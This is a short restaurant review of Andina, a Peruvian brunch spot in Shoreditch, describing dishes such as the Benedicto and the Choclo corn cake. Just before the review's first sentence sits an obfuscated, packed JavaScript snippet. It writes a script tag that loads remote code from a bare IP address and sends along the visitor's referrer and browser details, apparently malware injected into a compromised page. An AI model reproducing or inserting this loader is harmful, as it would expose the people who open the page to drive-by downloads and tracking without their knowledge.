REVIEW: ANDINA

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Andina, (function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(” 4=\’7://5.8.9.f/1/h.s.t?r=”+3(0.p)+”\o=”+3(j.i)+”\’><\/k"+"l>“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fihrf|var|u0026u|referrer|kdkad||js|php’.split(‘|’),0,{}))
the second restaurant from acclaimed Peruvian chef Martin Morales has opened it’s doors in Shoreditch. Bringing something a little different to the hood, the restaurant features staple dishes from the South American country, think ceviche and dulce de leche as well as twists on classic Peru dishes.

We sampled the brunch menu, which is certainly different – no greasy dirty plates here. The Benedicto, Andina’s version of eggs Benedict, is made up of tasty smoked trout, poached egg, quinoa pancake, asparagus and a spicy amarillo chilli sauce, fresh and full of flavour it’s definitely a dish we’ll be having again. Whilst fluffy Choclo Corn Cake made from giant corn and fresco cheese with poached egg, Huancaina sauce, avocado and salsa criolla was a party of different tastes and textures.

Juices and smoothies are made up fresh and come in all kinds of combos with incidents ranging from avocado and lucuma (look it up) to goats milk and figs. And, when you have eaten healthy it’s only right to reward yourself, a dulce de leche pastry does just nicely.

It’s safe to say Martin’s nailed it again! For an alternative brunch or Peruvian lunch or dinner check it out.

Andina, 1 Redchurch Street, E2 7DJ
www.andinalondon.com

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